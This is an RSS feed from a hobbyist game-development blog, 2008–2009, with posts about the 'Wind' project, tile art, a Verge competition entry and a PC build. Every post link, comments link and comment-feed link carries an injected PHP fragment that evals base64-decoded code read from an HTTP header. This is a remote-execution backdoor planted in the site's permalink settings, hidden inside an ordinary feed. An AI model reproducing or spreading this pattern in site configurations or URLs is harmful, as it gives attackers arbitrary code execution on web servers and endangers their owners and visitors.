<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dreamstem</title>
	<atom:link href="http://www.dreamstem.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dreamstem.com</link>
	<description>Where dreams are born</description>
	<lastBuildDate>Thu, 07 May 2009 14:41:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>A little bit about the game structure</title>
		<link>http://www.dreamstem.com/2009/05/07/a-little-bit-about-the-game-structure/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2009/05/07/a-little-bit-about-the-game-structure/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 07 May 2009 14:41:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Graphic]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=33</guid>
		<description><![CDATA[This is overdue, so I thought it would be nice to explain how the levels and world will be set up. I am looking in dividing the game into World then into Levels. Each world will be based on a theme much like Mario and Donkey Kong games.  Right now I am looking at having [...]]]></description>
			<content:encoded><![CDATA[<p>This is overdue, so I thought it would be nice to explain how the levels and world will be set up. I am looking in dividing the game into World then into Levels. Each world will be based on a theme much like Mario and Donkey Kong games.  Right now I am looking at having 5 worlds with 5-8 levels each. The overworld map will look like a mix of Chrono Trigger and Super Mario World. Where you have the free roaming of being able to move your character in all direction. Certain levels can be unlocked by doing certain things that will create the overworld to react and change dynamically like in Super Mario World. The first world is pretty basic, but also is probably the hardest for me to do art for. Here is a little bit of something of what I did before I took a break on the project.</p>
<p><img src="http://www.dreamstem.com/files/Preview%201%20copy.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2009/05/07/a-little-bit-about-the-game-structure/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>New Wind</title>
		<link>http://www.dreamstem.com/2009/04/30/new-wind/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2009/04/30/new-wind/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 11:38:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Graphic]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=32</guid>
		<description><![CDATA[I feel very good since I have restarted work on Wind. I think it is because I truly believe that this project will work. I am aiming to have all tiles related stuff at least all sketched for the end of May. On another note, my friend was just accepted into the Game Design program [...]]]></description>
			<content:encoded><![CDATA[<p>I feel very good since I have restarted work on Wind. I think it is because I truly believe that this project will work. I am aiming to have all tiles related stuff at least all sketched for the end of May.</p>
<p>On another note, my friend was just accepted into the Game Design program he applied for. I am so happy for him. He definitely worked hard to get in and totally deserves it. It also gave me more &#8220;wind&#8221; in my sails to want to finish this game. I think it is time to truly put my all in finish this game and get serious about my dreams.</p>
<p>Here is a quick sketch to you all to hold you while more stuff is coming. =)</p>
<p><img src="http://www.dreamstem.com/files/Myna%20Bird%20Form%20s.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2009/04/30/new-wind/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Live from Germany</title>
		<link>http://www.dreamstem.com/2009/04/22/live-from-germany/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2009/04/22/live-from-germany/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 10:16:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=31</guid>
		<description><![CDATA[No, I am not dead, nor is Wind. Although it is very clear we missed our Feb 28th deadline, we don&#8217;t plan to let that break the project. Now for those that do not know, I am currently in Germany on exchange for the summer. Althought my free time has been greatly reduced I still [...]]]></description>
			<content:encoded><![CDATA[<p>No, I am not dead, nor is Wind. Although it is very clear we missed our Feb 28th deadline, we don&#8217;t plan to let that break the project.</p>
<p>Now for those that do not know, I am currently in Germany on exchange for the summer. Althought my free time has been greatly reduced I still plan to work on the Wind during that time.</p>
<p>Now for a status report. Chris has translated the original Wind engine under Lua. As for me, I have been slowly making the art for World 1. Unfortunately, my perfectionist habit came back. It seems during the compo, I was more productive. In any case expect some more updates soon. Also, I plan to read up on everyone else project. Its been a while since I kept up with Gruedorf.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2009/04/22/live-from-germany/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Setting the framework</title>
		<link>http://www.dreamstem.com/2009/01/25/setting-the-framework/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2009/01/25/setting-the-framework/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 25 Jan 2009 20:42:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=30</guid>
		<description><![CDATA[So much of the work I have been doing lately as been conceptual. We also established a scope to the game project and we set the total of worlds to five. Within each of the five worlds will be 5-8 different levels/places. The theme of most of the worlds have been chosen and they will [...]]]></description>
			<content:encoded><![CDATA[<p>So much of the work I have been doing lately as been conceptual. We also established a scope to the game project and we set the total of worlds to five. Within each of the five worlds will be 5-8 different levels/places. The theme of most of the worlds have been chosen and they will be rather fun to work with. We also established our first deadline on which we must have finished world 1.</p>
<h3><strong>February 28th 2009</strong>!</h3>
<p>Expect more details about world 1 next week!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2009/01/25/setting-the-framework/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anouncement + Compo Judging Results</title>
		<link>http://www.dreamstem.com/2009/01/13/anouncement-compo-judging-results/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2009/01/13/anouncement-compo-judging-results/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 13 Jan 2009 07:43:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=29</guid>
		<description><![CDATA[So the Compo results are out, you can see them here. Although we are disappointed of the results, we enjoyed very much making this game. Also, we are glad that we were able to make pthaloearth&#8217;s 2-year old laugh. We clearly did something right. We believe that the game shows much potential and can become [...]]]></description>
			<content:encoded><![CDATA[<p>So the Compo results are out, you can see them <a href="http://www.verge-rpg.com/boards/display_thread.php?id=132670">here</a>.</p>
<p>Although we are disappointed of the results, we enjoyed very much making this game. Also, we are glad that we were able to make pthaloearth&#8217;s 2-year old laugh. We  clearly did something right. <a href="http://answers.yahoo.com/question/index;_ylt=ApLed4guGl1rACDaUKrD6pYjzKIX;_ylv=3?qid=20090112203336AANWICs"> <img src='http://www.dreamstem.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </a> We believe that the game shows much potential and can become something bigger and better. That is why we decided to turn what was originally a demo into a full game!!!!</p>
<p>Stay tuned in the following weeks for more details! =D</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2009/01/13/anouncement-compo-judging-results/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Verge Compo Entry</title>
		<link>http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 03 Jan 2009 05:09:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Build release]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=28</guid>
		<description><![CDATA[As some of you know, Code, Rockstar and I have been working for around a week on a compo for the Verge&#8217;s community &#8220;How about M!&#8221; competition. The game we submitted was titled Wind &#8211; With a Capital M. You can download it yourself and try it out at the link at the bottom of [...]]]></description>
			<content:encoded><![CDATA[<p>As some of you know, Code, Rockstar and I have been working for around a week on a compo for the Verge&#8217;s community <a href="http://www.verge-rpg.com/boards/display_thread.php?id=132570">&#8220;How about M!&#8221;</a> competition. The game we submitted was titled Wind &#8211; With a Capital M. You can download it yourself and try it out at the link at the bottom of this post. You can also check all the competitors&#8217; submissions <a href="http://www.verge-rpg.com/boards/display_thread.php?id=132650">here</a>.</p>
<p>This game was very satisfying to do and I am satisfied of how it came out. I would love to hear what you think, good or bad, about this game. Enjoy!</p>
<p><img src="http://www.dreamstem.com/files/Wind%20screenshot.jpg" width="320" height="239" /></p>
<p><a href="http://www.dreamstem.com/files/Wind_fixed.zip">Download</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Wandering</title>
		<link>http://www.dreamstem.com/2008/12/15/wandering/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2008/12/15/wandering/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 22:50:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Graphic]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=27</guid>
		<description><![CDATA[So I am back from a hectic semester. Although I was not posting much I did play around with some art. Here is some of what I did. One thing I found, is how much more enjoyable it is to make maps outside Maped and import them as pictures. I think it takes out the [...]]]></description>
			<content:encoded><![CDATA[<p>So I am back from a hectic semester. Although I was not posting much I did play around with some art. Here is some of what I did.</p>
<p><img src="http://www.dreamstem.com/files/Test%20map.jpg" width="325" height="328" /></p>
<p><img src="http://www.dreamstem.com/files/Map%201.jpg" width="320" height="240" /></p>
<p><img src="http://www.dreamstem.com/files/Beginning.jpg" width="320" height="240" /></p>
<p>One thing I found, is how much more enjoyable it is to make maps outside Maped and import them as pictures. I think it takes out the hardship of making tiles that &#8220;tile&#8221; correctly. The last two image were done in such a way.  The problem with such a technique is the size of the map files it creates.  Also obstructions in Maped can not be made by importing images and making them into a new layer. Overall though, I prefer this technique for making maps.</p>
<p>As for what I plan to do from now on, well I don&#8217;t know honestly. I am still in Gruedorf in spirit but I don&#8217;t really have a dedicated project. I still want to finish a game within 6-10 months. However most project out there are of a much larger scope. I will still help other projects with my art but I personally want to work on a game that is:</p>
<ul>
<li>Small scale</li>
<li>Creative</li>
<li>Enjoyable</li>
</ul>
<p>So if you are a coder, artist or musician who is interested, drop me a line and we can talk.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2008/12/15/wandering/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Grass</title>
		<link>http://www.dreamstem.com/2008/10/20/grass/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2008/10/20/grass/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 20 Oct 2008 05:08:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Graphic]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=26</guid>
		<description><![CDATA[It is late and I am tired. Another hectic school week. Again I didn&#8217;t want to go empty handed for this tutorial game project. I think it is important I keep up my work as this is not any old project. This could really help the verge community. So I did some grass. I was [...]]]></description>
			<content:encoded><![CDATA[<p>It is late and I am tired. Another hectic school week. Again I didn&#8217;t want to go empty handed for this tutorial game project. I think it is important I keep up my work as this is not any old project. This could really help the verge community. So I did some grass. I was fairly happy with it, until I downloaded the <a href="http://gearleaf.com/node/19">last beta of Kildorf&#8217;s game</a>. Seriously, the entire tileset is looking nice. Happy Kildorf dumped the 640&#215;480 resolution. I would comment about it on his site, but too tired&#8230; Going to sleep.</p>
<p><img src="http://dreamstem.com/files/FINAL%20-%20Basic%20Grass%20Square.png" width="432" height="48" /></p>
<p>Oh, forgot, I didn&#8217;t know how to best make this so it tiles well. I did square but did not try to tile them. Any suggestion is cool by me.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2008/10/20/grass/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Half an Hour Blast</title>
		<link>http://www.dreamstem.com/2008/10/12/half-an-hour-blast/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2008/10/12/half-an-hour-blast/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 02:01:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Graphic]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=25</guid>
		<description><![CDATA[Midterms have appeared as well as mid semester projects. I am supposed to be studying right now, but I really didn&#8217;t want to come out without anything this week, so I decided to take care of the sand tile. I haven&#8217;t had the time to compare the sand tile to the ground tiles to see [...]]]></description>
			<content:encoded><![CDATA[<p>Midterms have appeared as well as mid semester projects. I am supposed to be studying right now, but I really didn&#8217;t want to come out without anything this week, so I decided to take care of the sand tile.</p>
<p><img src="http://www.dreamstem.com/files/Sand%20Tile%20Final.png" height="32" width="192" /></p>
<p>I haven&#8217;t had the time to compare the sand tile to the ground tiles to see if the lightness is comparable. So I don&#8217;t know if they can fit together(Balor, my external HD is not with me and contains all my files). Though a simple change in the darkness of the tiles can fix that. I will probably do a tweak of it when I have time.</p>
<p>On another note, Thanatos has been built and is in good working condition. For the curious Thanatos is the new system I built, its name was inspired from the <a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16814103060">GPU card</a>. I have still to install basic components like a word processor and graphic program. This is the first truly gaming capable system I have ever had and the first system I built. I am quite proud of my achievement.</p>
<p>Finally, when I have time I will add a special link to the right for glambourine&#8217;s tutorial game so that the link doesn&#8217;t get lost in the news pages.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2008/10/12/half-an-hour-blast/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Birth of a God</title>
		<link>http://www.dreamstem.com/2008/10/05/birth-of-a-god/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.dreamstem.com/2008/10/05/birth-of-a-god/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 05 Oct 2008 23:48:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.dreamstem.com/?p=24</guid>
		<description><![CDATA[No update this week. Sorry I am busy building Thanatos.]]></description>
			<content:encoded><![CDATA[<p>No update this week. Sorry I am busy building Thanatos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dreamstem.com/2008/10/05/birth-of-a-god/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
